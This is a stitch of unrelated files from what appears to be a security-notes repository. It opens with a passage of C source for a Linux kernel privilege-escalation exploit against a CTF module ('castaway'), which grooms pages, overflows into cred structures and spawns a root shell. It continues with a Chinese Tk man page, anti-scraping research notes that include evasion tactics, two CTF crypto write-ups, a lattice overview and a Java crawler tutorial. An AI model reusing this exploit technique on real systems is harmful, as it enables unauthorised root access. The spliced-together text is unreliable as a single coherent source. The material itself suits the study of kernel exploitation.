"\033[34m[*] Execve root shell now...\033[0m\n";
void err_exit(char *msg)
{
printf("\033[31m\033[1m[x] Error: %s\033[0m\n", msg);
exit(EXIT_FAILURE);
}
void alloc(void)
{
ioctl(dev_fd, 0xCAFEBABE);
}
void edit(int64_t index, size_t size, void *buf)
{
struct castaway_request r = {
.index = index,
.size = size,
.buf = buf,
};
ioctl(dev_fd, 0xF00DBABE, &r);
}
int waiting_for_root_fn(void *args)
{
/* we're using the same stack for them, so we need to avoid cracking it.. */
__asm__ volatile (
" lea rax, [check_root_pipe]; "
" xor rdi, rdi; "
" mov edi, dword ptr [rax]; "
" mov rsi, child_pipe_buf; "
" mov rdx, 1; "
" xor rax, rax; " /* read(check_root_pipe[0], child_pipe_buf, 1)*/
" syscall; "
" mov rax, 102; " /* getuid() */
" syscall; "
" cmp rax, 0; "
" jne failed; "
" mov rdi, 1; "
" lea rsi, [root_str]; "
" mov rdx, 80; "
" mov rax, 1;" /* write(1, root_str, 71) */
" syscall; "
" lea rdi, [bin_sh_str]; "
" lea rsi, [shell_args]; "
" xor rdx, rdx; "
" mov rax, 59; "
" syscall; " /* execve("/bin/sh", args, NULL) */
"failed: "
" lea rdi, [timer]; "
" xor rsi, rsi; "
" mov rax, 35; " /* nanosleep() */
" syscall; "
);
return 0;
}
void unshare_setup(void)
{
char edit[0x100];
int tmp_fd;
unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET);
tmp_fd = open("/proc/self/setgroups", O_WRONLY);
write(tmp_fd, "deny", strlen("deny"));
close(tmp_fd);
tmp_fd = open("/proc/self/uid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", getuid());
write(tmp_fd, edit, strlen(edit));
close(tmp_fd);
tmp_fd = open("/proc/self/gid_map", O_WRONLY);
snprintf(edit, sizeof(edit), "0 %d 1", getgid());
write(tmp_fd, edit, strlen(edit));
close(tmp_fd);
}
int create_socket_and_alloc_pages(unsigned int size, unsigned int nr)
{
struct tpacket_req req;
int socket_fd, version;
int ret;
socket_fd = socket(AF_PACKET, SOCK_RAW, PF_PACKET);
if (socket_fd < 0) {
printf("[x] failed at socket(AF_PACKET, SOCK_RAW, PF_PACKET)\n");
ret = socket_fd;
goto err_out;
}
version = TPACKET_V1;
ret = setsockopt(socket_fd, SOL_PACKET, PACKET_VERSION,
&version, sizeof(version));
if (ret < 0) {
printf("[x] failed at setsockopt(PACKET_VERSION)\n");
goto err_setsockopt;
}
memset(&req, 0, sizeof(req));
req.tp_block_size = size;
req.tp_block_nr = nr;
req.tp_frame_size = 0x1000;
req.tp_frame_nr = (req.tp_block_size * req.tp_block_nr) / req.tp_frame_size;
ret = setsockopt(socket_fd, SOL_PACKET, PACKET_TX_RING, &req, sizeof(req));
if (ret < 0) {
printf("[x] failed at setsockopt(PACKET_TX_RING)\n");
goto err_setsockopt;
}
return socket_fd;
err_setsockopt:
close(socket_fd);
err_out:
return ret;
}
__attribute__((naked)) long simple_clone(int flags, int (*fn)(void *))
{
/* for syscall, it's clone(flags, stack, ...) */
__asm__ volatile (
" mov r15, rsi; " /* save the rsi*/
" xor rsi, rsi; " /* set esp and useless args to NULL */
" xor rdx, rdx; "
" xor r10, r10; "
" xor r8, r8; "
" xor r9, r9; "
" mov rax, 56; " /* __NR_clone */
" syscall; "
" cmp rax, 0; "
" je child_fn; "
" ret; " /* parent */
"child_fn: "
" jmp r15; " /* child */
);
}
int alloc_page(int idx)
{
struct page_request req = {
.idx = idx,
.cmd = CMD_ALLOC_PAGE,
};
int ret;
write(cmd_pipe_req[1], &req, sizeof(struct page_request));
read(cmd_pipe_reply[0], &ret, sizeof(ret));
return ret;
}
int free_page(int idx)
{
struct page_request req = {
.idx = idx,
.cmd = CMD_FREE_PAGE,
};
int ret;
write(cmd_pipe_req[1], &req, sizeof(req));
read(cmd_pipe_reply[0], &ret, sizeof(ret));
return ret;
}
void spray_cmd_handler(void)
{
struct page_request req;
int socket_fd[PGV_PAGE_NUM];
int ret;
/* create an isolate namespace*/
unshare_setup();
/* handler request */
do {
read(cmd_pipe_req[0], &req, sizeof(req));
if (req.cmd == CMD_ALLOC_PAGE) {
ret = create_socket_and_alloc_pages(0x1000, 1);
socket_fd[req.idx] = ret;
} else if (req.cmd == CMD_FREE_PAGE) {
ret = close(socket_fd[req.idx]);
} else {
printf("[x] invalid request: %d\n", req.cmd);
}
write(cmd_pipe_reply[1], &ret, sizeof(ret));
} while (req.cmd != CMD_EXIT);
}
int main(int aragc, char **argv, char **envp)
{
cpu_set_t cpu_set;
char th_stack[0x1000], buf[0x1000];
/* to run the exp on the specific core only */
CPU_ZERO(&cpu_set);
CPU_SET(0, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
dev_fd = open("/dev/castaway", O_RDWR);
if (dev_fd < 0) {
err_exit("FAILED to open castaway device!");
}
/* use a new process for page spraying */
pipe(cmd_pipe_req);
pipe(cmd_pipe_reply);
if (!fork()) {
spray_cmd_handler();
exit(EXIT_SUCCESS);
}
/* make buddy's lower order clean, castaway_requesting from higher */
puts("[*] spraying pgv pages...");
for (int i = 0; i < PGV_PAGE_NUM; i++) {
if(alloc_page(i) < 0) {
printf("[x] failed at no.%d socket\n", i);
err_exit("FAILED to spray pages via socket!");
}
}
/* free pages for cred */
puts("[*] freeing for cred pages...");
for (int i = 1; i < PGV_PAGE_NUM; i += 2){
free_page(i);
}
/* spray cred to get the isolate pages we released before */
puts("[*] spraying cred...");
pipe(check_root_pipe);
for (int i = 0; i < CRED_SPRAY_NUM; i++) {
if (simple_clone(CLONE_FILES | CLONE_FS | CLONE_VM | CLONE_SIGHAND,
waiting_for_root_fn) < 0){
printf("[x] failed at cloning %d child\n", i);
err_exit("FAILED to clone()!");
}
}
/* free pages for our vulerable objects */
puts("[*] freeing for vulnerable pages...");
for (int i = 0; i < PGV_PAGE_NUM; i += 2){
free_page(i);
}
/* spray vulnerable objects, hope that we can make an oob-write to cred */
puts("[*] trigerring vulnerability in castaway kernel module...");
memset(buf, '\0', 0x1000);
*(uint32_t*) &buf[VUL_OBJ_SIZE - 6] = 1; /* cred->usage */
for (int i = 0; i < VUL_OBJ_NUM; i++) {
alloc();
edit(i, VUL_OBJ_SIZE, buf);
}
/* checking privilege in child processes */
puts("[*] notifying child processes and waiting...");
write(check_root_pipe[1], buf, CRED_SPRAY_NUM);
sleep(1145141919);
return 0;
}
```
## REFERENCE
[https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/#0x09-Kernel-Heap-Cross-Cache-Overflow-amp-Page-level-Heap-Fengshui](https://arttnba3.cn/2021/03/03/PWN-0X00-LINUX-KERNEL-PWN-PART-I/#0x09-Kernel-Heap-Cross-Cache-Overflow-amp-Page-level-Heap-Fengshui)
[https://bsauce.github.io/2022/11/07/castaways](https://bsauce.github.io/2022/11/07/castaways)
[https://www.willsroot.io/2022/08/reviving-exploits-against-cred-struct.html](https://www.willsroot.io/2022/08/reviving-exploits-against-cred-struct.html)
|
sec-knowleage
|
'\"
'\" Copyright (c) 1995-1996 Sun Microsystems, Inc.
'\"
'\" See the file "license.terms" for information on usage and redistribution
'\" of this file, and for a DISCLAIMER OF ALL WARRANTIES.
'\"
'\" RCS: @(#) $Id: loadTk.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" The definitions below are for supplemental macros used in Tcl/Tk
'\" manual entries.
'\"
'\" .AP type name in/out ?indent?
'\" Start paragraph describing an argument to a library procedure.
'\" type is type of argument (int, etc.), in/out is either "in", "out",
'\" or "in/out" to describe whether procedure reads or modifies arg,
'\" and indent is equivalent to second arg of .IP (shouldn't ever be
'\" needed; use .AS below instead)
'\"
'\" .AS ?type? ?name?
'\" Give maximum sizes of arguments for setting tab stops. Type and
'\" name are examples of largest possible arguments that will be passed
'\" to .AP later. If args are omitted, default tab stops are used.
'\"
'\" .BS
'\" Start box enclosure. From here until next .BE, everything will be
'\" enclosed in one large box.
'\"
'\" .BE
'\" End of box enclosure.
'\"
'\" .CS
'\" Begin code excerpt.
'\"
'\" .CE
'\" End code excerpt.
'\"
'\" .VS ?version? ?br?
'\" Begin vertical sidebar, for use in marking newly-changed parts
'\" of man pages. The first argument is ignored and used for recording
'\" the version when the .VS was added, so that the sidebars can be
'\" found and removed when they reach a certain age. If another argument
'\" is present, then a line break is forced before starting the sidebar.
'\"
'\" .VE
'\" End of vertical sidebar.
'\"
'\" .DS
'\" Begin an indented unfilled display.
'\"
'\" .DE
'\" End of indented unfilled display.
'\"
'\" .SO
'\" Start of list of standard options for a Tk widget. The
'\" options follow on successive lines, in four columns separated
'\" by tabs.
'\"
'\" .SE
'\" End of list of standard options for a Tk widget.
'\"
'\" .OP cmdName dbName dbClass
'\" Start of description of a specific option. cmdName gives the
'\" option's name as specified in the class command, dbName gives
'\" the option's name in the option database, and dbClass gives
'\" the option's class in the option database.
'\"
'\" .UL arg1 arg2
'\" Print arg1 underlined, then print arg2 normally.
'\"
'\" RCS: @(#) $Id: loadTk.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages.
.TH "loadTk" 3tk 8.0 Tk "Tk Built-In Commands"
.SH NAME
loadTk \- 把 Tk 装载到一个安全解释器中。
.SH "总览 SYNOPSIS"
\fB::safe::loadTk \fIslave\fR ?\fB\-use\fR \fIwindowId\fR? ?\fB\-display\fR \fIdisplayName\fR?
Safe Tk 基于 Safe Tcl 之上,它提供一种机制,允许对自动装载和安全解释器的包的受限制和有中介的访问。Safe Tk 增加为安全 Tk 操作配置解释器和把 Tk 装载到安全解释器的功能。
.SH "描述 DESCRIPTION"
.PP
\fB::safe::loadTk\fR 命令在指明的解释器中初始化需要的数据结构并把 Tk 装载到其中。这个命令返回这个安全解释器的名字。如果指定了 \fB\-use\fR,使用由指定的系统决定的标识符 \fIwindowId\fR 所标识的窗口来包含这个解释器的 ``.'' 窗口;它可以是任何有效的 id,最终引用属于另一个应用的一个窗口。出于方便,如果你想要使用的窗口是应用的一个 Tk 窗口,则你可以使用这个窗口的名字(比如: \fB.x.y\fR)来替代它的窗口 Id (\fB[winfo id .x.y]\fR)。在未指定 \fB-use\fR 的时候,为这个安全解释器的 ``.'' 窗口建立一个新的顶层窗口。在 X11 上如果你想让嵌入的窗口使用其他的显示器而不是缺省的那个,可以用 \fB\-display\fR 指定它。实现的细节请参见下面的安全要点 (\fBSECURITY ISSUES\fR) 章节。
.SH "安全要点 SECURITY ISSUES"
.PP
请阅读 Tcl 的 \fBsafe\fR 手册页来获悉对 Safe Tcl 做的基本安全考虑。
.PP
\fB::safe::loadTk\fR 把从解释器接受的 \fBtk_library\fR 的值增加到安全解释器的虚拟路径上,这样自动装载就能在安全解释器中工作了。
.PP
.PP
就不信任从解释器对启动的陈述而论,Tk 初始化现在是安全的。\fB::safe::loadTk\fR 注册从解释器的名字,这样在调用 Tk 初始化(\fBTk_SafeInit\fR)和依次调用主解释器的 \fB::safe::InitTk\fR 的时候,它将返回想要的 \fBargv\fR 等价物(\fB\-use\fR \fIwindowId\fR,正确的 \fB\-display \fR等等...)。
.PP
在未使用 \fB\-use\fR 的时候,对新建立的顶层窗口进行特殊装饰,这样用户总能意识到呈现的用户界面来自潜在不安全的代码并可以轻易的删除相应的解释器。
.PP
在 X11 上,有冲突的 \fB\-use\fR 和 \fB\-display\fR 将生成一个致命的 X 错误。
.SH "参见 SEE ALSO"
safe(n), interp(n), library(n), load(n), package(n), source(n), unknown(n)
.SH "关键字 KEYWORDS"
alias, auto\-loading, auto_mkindex, load, master interpreter, safe
interpreter, slave interpreter, source
.SH "[中文版维护人]"
.B 寒蝉退士
.SH "[中文版最新更新]"
.B 2002/05/15
.SH "《中国 Linux 论坛 man 手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# 反爬研究
在和A师傅的交流过程中,明确了反爬技术是很重要的,对于头条产品来说主要考虑是视频版权。对于电商的黑产,主要是羊毛党比较多。因此在这里快速学习一下反爬技术。
## 爬虫技术
### 常规编写思路
- 分析页面请求格式
- 创建合适的http请求,验证请求的准确性
- 编写脚本,批量发送http请求,获取数据
### 代理池
#### 概念
> 为了保证代理的有效性,我们往往可能需要维护一个代理池。这个代理池里面存着非常多的代理,同时代理池还会定时爬取代理来补充到代理池中,同时还会不断检测其中代理的有效性。当然还有一个很重要的功能就是提供一个接口,这个接口可以随机返回代理池中的一个有效代理
> 公众号文章:[Link](https://mp.weixin.qq.com/s/ZzCQ9UgUhIwfDGO9QTwuFg)
#### 隧道代理
> 隧道代理无须切换 IP,将 IP 切换的事情交给隧道来做,程序只需要对接一个隧道代理的固定地址即可, e.g. xxproxy:7777
> 平台在云端维护一个全局 IP 池 供短效代理 IP 产品使用,池中的 IP 会不间断更新,以保证 IP 池中有足够多的 IP 供用户使用
> 隧道代理 基于 HTTP 协议,支持 HTTP/HTTPS 协议的数据接入。
#### 如何实现
使用Squid代理服务器实现一个隧道代理的代理池。

图:Squid工作机制
客户机请求web服务,通过Squid代理服务器,代理服务器检查web页面是否在缓存中。如有,直接返回;如果没有,则让Squid代理服务器去发起请求,获得缓存页面,再返回给客户机。
使用Squid的cache_peer功能,可以实现二次代理转发。因此,配置在Squid代理服务器的二级代理可以是批量的,不断变化的,而Squid服务器本身只留出固定的端口与客户机进行交互,从而实现一个简易的代理池的功能。
参考文章:[Link](https://mp.weixin.qq.com/s/ZzCQ9UgUhIwfDGO9QTwuFg)
## 传统反爬技术
### 限制User-Agent
建立User-Agent白名单,对其进行检查。
#### 对抗
设置user-agent,可以从一系列的User-Agent列表里里随机挑出一个符合标准的使用
### 通过IP限制
监控单个IP的访问情况,结合第三方情报平台,建立IP黑名单。
#### 对抗
使用IP代理池,参见“爬虫技术”模块。
### 验证浏览器客户端
使用JS脚本可以要求浏览器(客户端)进行计算等进行验证,用以识别真实浏览器和爬虫脚本。
#### 对抗
使用**模拟浏览器**的Python包,例如PhantomJS,本身适用于自动化测试,但可以在对效率要求不是非常高的情况下使用于反反爬虫。
> _PhantomJS_是一个无界面的,可脚本编程的WebKit浏览器引擎
### 完善robots.txt来限制
在robots.txt中更新活跃程度高的恶意爬虫,也就是黑名单。
#### 对抗
使用这些恶性爬虫的时候,更改请求头参数,伪装自身。
### 访问统计及分析(传统)
- 后台对访问进行统计,如果单个IP访问超过阈值,予以封锁
- 效果还行
- 容易误伤
- 有较多的对抗手段(IP代理池)
- 后台对访问进行统计,如果单个session访问超过阈值,予以封锁
- 效果差
- 后台对访问进行统计,如果单个userAgent访问超过阈值,予以封锁
- 效果好
- 误伤严重
- 对抗:爬虫脚本可以随机浏览器类型
- 以上三种的组合
- 能力变大,误伤率下降,但只能防部分低级爬虫
- 参考:[Link](https://mp.weixin.qq.com/s/ZzCQ9UgUhIwfDGO9QTwuFg)
## 反爬新思路
### 来自GEETEST
#### 工作量证明
反爬虫实际上是一场**成本**拉锯战。
如果我们能要求某个客户端的证明其工作量,要求完成某个特定计算,比如生成设备指纹,要达到某个工作量才能下发指纹。
可行的方法,比如是增加前端JS加密混淆,增加破解成本,也增加了中间人破解成本
#### 轨迹模型
使用通过智能技术进行**人机识别**。 TODO

#### 前端加密
增加前端JS加密混淆,增加破解成本,也增加了中间人破解成本。这个和工作量证明其实是泛化的关系。
#### 网络层特征
SSL + TCP, 通过更底层的协议分析,提高数据采集的隐蔽性,从信息差上获取赢面。
#### 一个反爬业务模型
- 反爬需要分析出异常的流量,并对异常流量进行分类处理

- 恶意爬虫的行为
- 数据爬取
- 接口盗用
- 薅羊毛
- 未经授权扫描器
- 商业竞争
- 识别的方法
- 脚本识别
- 模拟器识别
- 数据策略
- AI模型
- 接口防护
- 恶意设备
- 恶意访问者
- 防护的手段
- 验证码
- Block(封禁)
- Feed Fake Data(假数据)
- Filter Traffic(监控模式)
- Custom Action(自定义的其它手段)
#### 流量过滤分析

#### 四层防护逻辑
- 设备环境监测
- 数据串改
- 设备指纹
- 混淆加密
- 特性测试
- 特性采集
- 工作量证明
- 建立海量风险库
- IP打分体系
- 黑产IP
- 爬虫IP
- 团伙IP
- 云服务器IP
- 设备指纹风险
- 网络风险探测
- TCP特征
- HTTP特征
- 大数据统计
- 人工智能模型
- 鼠标轨迹CNN模型
- 流量分析(行为分析)
## 头条反爬研究
### 头条反爬策略
- 封IP —— 使用代理池
- 网页文章链接(关键内容),通过另外的url请求获取,同时进行加密处理
- 对网页JS函数进行加密处理
- 视频通过videoid获取网页播放链接,经过三次加密处理才能获取最终url
- 翻页请求失败率高,降低爬虫获取信息的速度
---
- 使用自定制的JS加密算法 —— 添加断点进行调试(分析其算法机制)
### 对抗
- 首先找**信息列表**和**下拉方式**的URL规律,分析获取**单页面信息**的规律
- 能读懂前端代码
- 多从网络上找新的思路
- 添加断点进行调试,分析其算法机制(静态分析、动态调试、步步跟进)
### 头条反爬总结
#### 参考
- 《今日头条反反爬思路总结》,分析得很详细,很值得一看:[Link](https://www.cnblogs.com/dmcs95/p/11667817.html)
## 案例
### 巧达科技被查
公司客户信息被抓取,并且某个接口访问量巨大,后调查为一个数据公司的某个程序员将爬虫的线程数调大,影响了正常服务
## hui产公司
### idataapi
[https://www.idataapi.cn/product/detail/94](https://www.idataapi.cn/product/detail/94)
### 爬山虎采集器
可进行头条数据采集的一个爬虫软件
[http://www.51pashanhu.com/](http://www.51pashanhu.com/)
|
sec-knowleage
|
## Rail Fence Cipher (Crypto, 50p)
Decrypt and find the flag.
AaY--rpyfneJBeaaX0n-,ZZcs-uXeeSVJ-sh2tioaZ}slrg,-ciE-anfGt.-eCIyss-TzprttFliora{GcouhQIadctm0ltt-FYluuezTyorZ-
###ENG
[PL](#pl-version)
The name of this task was everything we needed to know to solve it. Using
[this site](http://rumkin.com/tools/cipher/railfence.php) and trying all the possible keys (21 was the correct one), we
get the correct plaintext:
```
A-fence-is-a-structure-that-encloses-an-area,-SharifCTF{QmFzZTY0IGlzIGEgZ2VuZXJpYyB0ZXJt},-typically-outdoors.
```
###PL version
Nazwa tego zadania wystarczyła do zgadnięcia, o jaki szyfr tu chodzi. Używając
[tej strony](http://rumkin.com/tools/cipher/railfence.php) i próbując wszystkich możliwych kluczy (21 to ten prawdziwy),
dostajemy poprawny tekst:
```
A-fence-is-a-structure-that-encloses-an-area,-SharifCTF{QmFzZTY0IGlzIGEgZ2VuZXJpYyB0ZXJt},-typically-outdoors.
```
|
sec-knowleage
|
# Rucksack (RevCrypt 200)
> Find the value that encoded gives "B75B63369A52F5F30CFE5E642" to open the flag archive.
https://dctf.def.camp/quals-2016/rucksack.tar.gz
The binary given in challenge was simple windows dialog window. It was performing some interesting calculations on given number, and returning the result.
Interesting part of the algorithm looked like this after decompilation:
```c
dword_401368 = 0;
dword_401364 = 0;
dword_401360 = 0;
dword_40135C = 0;
do
{
v14 = dword_401354 & 1;
dword_401354 = (unsigned int)dword_401354 >> 1;
v15 = __RCR__(dword_401358, v14);
v14 = __CFRCR__(dword_401358, v14);
dword_401358 = v15;
if ( v14 )
{
v16 = v12[2];
v14 = __CFADD__(v16, dword_40135C);
dword_40135C += v16;
v17 = v12[1];
v18 = v14;
v14 = __CFADD__(v14, dword_401360) | __CFADD__(v17, v14 + dword_401360);
dword_401360 += v17 + v18;
v19 = v14;
v14 = __CFADD__(v14, dword_401364) | __CFADD__(*v12, v14 + dword_401364);
dword_401364 += *v12 + v19;
dword_401368 += v14;
}
v12 += 3;
--v13;
}
while ( v13 );
```
But it turned out to be really simple algorithm, after reverse engineering it:
```python
def hack(input):
dw = 0
for i in range(64):
carry = input & 1
input >>= 1
if carry:
dw += data[i]
return dw
```
Where `data` stands for big static array filled with big numbers:
```python
data = [
58692287682224938532079129932L, 54124250491778978820692485381L,
7277220015820983195773562608L, 22332383050669823978020089761L,
16967063558604003742849514894L, 62355997480269765615210626760L,
5170363880013545458168089364L, 14258428081357094750634713280L,
36287775811261632958539463292L, 64158589039078535932527740088L,
4957165945420369897339450045L, 48887024134310311336003185458L,
18793329531325217943998377262L, 34849054916999515597115226753L,
34004947907188645530085195162L, 34292499970059354752786233092L,
7465958787690007484635596453L, 54523540218652065182276201159L,
57000747039828947704764319534L, 50575388677892232980068371694L,
3702058161015823872166782237L, 3349829679265481129755048986L,
28405544429942218214723074100L, 36495788164044649888936432337L,
48544464129042978733031529923L, 60050271447609162325797432216L,
17009291688635671258136540844L, 32243452400131210275321820528L,
19435400185697379146087163973L, 18958695960561396891652356392L,
31046838278903521493393091567L, 22039804766852830688395024152L,
57057512556148595984239556858L, 60234203621762490899836532853L,
17520024899042505063126260369L, 47991875009003147708419421093L,
2490616484966554508753587547L, 2899153068397613767531906868L,
52497993703425658528041503014L, 52472487311532478269420426577L,
40482174126297668775911754500L, 16911496622935987625595000117L,
46693438934980177103776837991L, 1284890835773525386783112485L,
54477823291266207382876225082L, 61740894964814382664396357499L,
46647309100226523278177395127L, 16502561642567509404189158915L,
19004498941637468189390997034L, 9828916790346848731369187336L,
35425036974884801641584840823L, 31415726379765125631239673685L,
17972704773815859985638190557L, 9936946611209044418233820319L,
36798963351701498896151091569L, 13848431692126270671326713024L,
3198504385930460160976160781L, 16499536430449755854269030517L,
57509243300349206773820711938L, 43866494813937969559452082306L,
54036517188127062281695050584L, 27536442945835183874395339046L,
27752811040789181632791691991L, 55343638437809942929901949018L
]
```
So this challenge is equivalent to solving subset sum problem (which is NP Complete, but good solvers exist in practice).
We implemented simple solved in SAGE, and after a while it printed a solution:
```
[0, 0, 7277220015820983195773562608, 22332383050669823978020089761, 0,
62355997480269765615210626760, 0, 0, 0, 0, 0, 48887024134310311336003185458,
18793329531325217943998377262, 34849054916999515597115226753, 0, 0,
7465958787690007484635596453, 54523540218652065182276201159, 0, 0,
3702058161015823872166782237, 3349829679265481129755048986,
28405544429942218214723074100, 36495788164044649888936432337, 0,
60050271447609162325797432216, 0, 0, 0, 0, 0, 22039804766852830688395024152,
57057512556148595984239556858, 60234203621762490899836532853,
17520024899042505063126260369, 0, 0, 0, 0, 0, 40482174126297668775911754500, 0,
0, 1284890835773525386783112485, 54477823291266207382876225082,
61740894964814382664396357499, 0, 16502561642567509404189158915,
19004498941637468189390997034, 0, 35425036974884801641584840823, 0,
17972704773815859985638190557, 0, 0, 0, 0, 16499536430449755854269030517, 0,
43866494813937969559452082306, 0, 0, 0, 55343638437809942929901949018]
```
After that we recovered good input, and decrypted 7z file given in challenge:

|
sec-knowleage
|
# 格概述
格在数学上至少有两种含义
- 定义在非空有限集合上的偏序集合 L,满足集合 L 中的任意元素 a,b,使得 a,b 在 L 中存在一个最大下界,和最小上界。具体参见https://en.wikipedia.org/wiki/Lattice_(order)。
- 群论中的定义,是 $R^n$ 中的满足某种性质的子集。当然,也可以是其它群。
目前关于格方面的研究主要有以下几大方向
1. 格中计算问题的困难性,即这些问题的计算复杂性,主要包括
1. SVP 问题
2. CVP 问题
2. 如何求解格中的困难性问题,目前既有近似算法,也有一些精确性算法。
3. 基于格的密码分析,即如何利用格理论分析一些已有的密码学算法,目前有如下研究
1. Knapsack cryptosystems
2. DSA nonce biases
3. Factoring RSA keys with bits known
4. Small RSA private exponents
5. Stereotyped messages with small RSA exponents
4. 如何基于格困难问题设计新的密码体制,这也是后量子密码时代的重要研究方向之一,目前有以下研究
1. Fully homomorphic encryption
2. The Goldreich–Goldwasser–Halevi (GGH) cryptosystem
3. The NTRU cryptosystem
4. The Ajtai–Dwork cryptosystem and the LWE cryptosystem
|
sec-knowleage
|
# 爬虫
---
**拆分过程**
请求,过滤(提取),存储
---
## 爬虫的请求
### maven 依赖
```xml
<dependency>
<groupId>org.apache.httpcomponents</groupId>
<artifactId>httpclient</artifactId>
<version>4.5.12</version>
</dependency>
```
### get请求
```java
public static void main(String[] args) {
CloseableHttpClient client = HttpClients.createDefault(); //创建httpclient 对象。
HttpGet httpGet = new HttpGet("https://java.ffffffff0x.com/api"); //创建get请求对象。
CloseableHttpResponse response = null;
try {
response = client.execute(httpGet); //发送get请求
if (response.getStatusLine().getStatusCode()==200){
String s = EntityUtils.toString(response.getEntity(),"utf-8");
System.out.println(s);
System.out.println(httpGet);
}
} catch (IOException e) {
e.printStackTrace();
}finally {
try {
response.close();
client.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
```
### get携带参数请求
```java
public static void main(String[] args) throws URISyntaxException {
CloseableHttpClient client = HttpClients.createDefault(); //创建httpclient 对象。
URIBuilder uriBuilder = new URIBuilder("https://java.ffffffff0x.com/api"); //使用URIBuilder设置地址
uriBuilder.setParameter("page","2"); //设置传入参数
HttpGet httpGet = new HttpGet(uriBuilder.build()); //创建get请求对象。
// https://xz.aliyun.com/?page=1
CloseableHttpResponse response = null;
try {
response = client.execute(httpGet); //发送get请求
if (response.getStatusLine().getStatusCode()==200){
String s = EntityUtils.toString(response.getEntity(),"utf-8");
System.out.println(s);
System.out.println(httpGet);
}
} catch (IOException e) {
e.printStackTrace();
}finally {
try {
response.close();
client.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
```
### post请求
```java
public static void main(String[] args) {
CloseableHttpClient client = HttpClients.createDefault();
HttpPost httpPost = new HttpPost("https://java.ffffffff0x.com/api");
CloseableHttpResponse response = null;
try {
response = client.execute(httpPost);
String s = EntityUtils.toString(response.getEntity());
System.out.println(s);
System.out.println(httpPost);
} catch (IOException e) {
e.printStackTrace();
}
}
```
在 get 和 post 的请求不携带参数请求当中,get 的请求方式和 post 的请求方式基本类似。但是创建请求对象时,get 请求用的是 HttpGet 来生成对象,而 Post 则是 HttpPost 来生成对象。
### post携带参数请求
```java
public static void main(String[] args) throws IOException {
CloseableHttpClient client = HttpClients.createDefault();//创建httpClients对象
HttpPost httpPost = new HttpPost("http://java.ffffffff0x.com/api"); //设置请求对象
List<NameValuePair> params = new ArrayList<NameValuePair>(); //声明list集合,存储传入参数
params.add(new BasicNameValuePair("page","3"));
UrlEncodedFormEntity formEntity = new UrlEncodedFormEntity(params,"utf-8"); //创建表单的Entity对象,传入params参数
httpPost.setEntity(formEntity); //设置表单内容到post包中
CloseableHttpResponse response = client.execute(httpPost);
String s = EntityUtils.toString(response.getEntity());
System.out.println(s);
System.out.println(s.length());
System.out.println(httpPost);
}
```
### 走代理
```java
//设置代理IP、端口、协议(请分别替换)
HttpHost proxy = new HttpHost("127.0.0.1", 1080, "http");
//把代理设置到请求配置
RequestConfig defaultRequestConfig = RequestConfig.custom()
.setProxy(proxy)
.build();
//实例化CloseableHttpClient对象
CloseableHttpClient httpclient = HttpClients.custom().setDefaultRequestConfig(defaultRequestConfig).build();
//访问目标地址
HttpGet httpGet = new HttpGet("https://www.google.com");
//请求返回
CloseableHttpResponse httpResp = httpclient.execute(httpGet);
try {
int statusCode = httpResp.getStatusLine().getStatusCode();
if (statusCode == HttpStatus.SC_OK) {
System.out.println("成功");
}
} catch (Exception e) {
} finally {
httpResp.close();
}
```
---
### 连接池
如果每次请求都要创建 HttpClient,会有频繁创建和销毁的问题,可以使用连接池来解决这个问题。
创建一个连接池对象:
```java
PoolingHttpClientConnectionManager cm = new PoolingHttpClientConnectionManager();
public void setMaxTotal(int max)
设置最大连接数
public void setDefaultMaxPerRoute(int max)
设置每个主机的并发数
```
创建连接池代码
```java
public static void main(String[] args) {
PoolingHttpClientConnectionManager cm = new PoolingHttpClientConnectionManager();
cm.setMaxTotal(100); //设置最大连接数
cm.setDefaultMaxPerRoute(100); //设置每个主机的并发数
doGet(cm);
doGet(cm);
}
private static void doGet(PoolingHttpClientConnectionManager cm) {
CloseableHttpClient httpClient = HttpClients.custom().setConnectionManager(cm).build();
HttpGet httpGet = new HttpGet("http://www.baidu.com");
try {
CloseableHttpResponse response = httpClient.execute(httpGet);
String s = EntityUtils.toString(response.getEntity(),"utf-8");
} catch (IOException e) {
e.printStackTrace();
}
}
```
HttpClient 请求配置
```java
public static void main(String[] args) throws IOException {
CloseableHttpClient client = HttpClients.createDefault(); //创建httpclient 对象。
HttpGet httpGet = new HttpGet("http://www.baidu.com"); //创建get请求对象。
RequestConfig config = RequestConfig.custom().setConnectTimeout(1000) // 设置创建连接的最长时间
.setConnectionRequestTimeout(500) //设置获取连接最长时间
.setSocketTimeout(500).build(); //设置数据传输最长时间
httpGet.setConfig(config);
CloseableHttpResponse response = client.execute(httpGet);
String s = EntityUtils.toString(response.getEntity());
System.out.println(s);
}
```
## 爬虫的提取
### jsoup
jsoup 是一款 Java 的 HTML 解析器,可直接解析某个 URL 地址、HTML 文本内容。它提供了一套非常省力的 API,可通过 DOM,CSS 以及类似于 jQuery 的操作方法来取出和操作数据。
jsoup 的主要功能如下:
* 从一个 URL,文件或字符串中解析 HTML;
* 使用 DOM 或 CSS 选择器来查找、取出数据;
* 可操作 HTML 元素、属性、文本;
**maven 依赖**
```xml
<dependency>
<!-- jsoup HTML parser library @ http://jsoup.org/ -->
<groupId>org.jsoup</groupId>
<artifactId>jsoup</artifactId>
<version>1.10.2</version>
</dependency>
```
来一段爬取论坛 title 的代码
```java
@Test
public void testUrl() throws Exception {
Document doc = Jsoup.parse(new URL("https://home.ffffffff0x.com/"),10000);//设置请求url与超时时间
String title = doc.getElementsByTag("title").first().text();// //获取title的内容
System.out.println(title);
}
```
这里的 first() 代表获取第一个元素,text() 表示获取标签内容
### dom遍历元素
```java
@Test
public void TestDom() throws IOException {
Document doc = Jsoup.parse(new URL("https://ffffffff0x.com/"), 10000);
String title = doc.getElementsByTag("title").text();
String h1 = doc.getElementsByTag("h1").text();
String ex2 = doc.getElementsByClass("ex2").first().text();
System.out.println("title : "+title);
System.out.println("h1 : "+h1);
System.out.println("ex2 : "+ex2);
}
```
### 爬取文章
```java
@Test
public void TestDom() throws IOException {
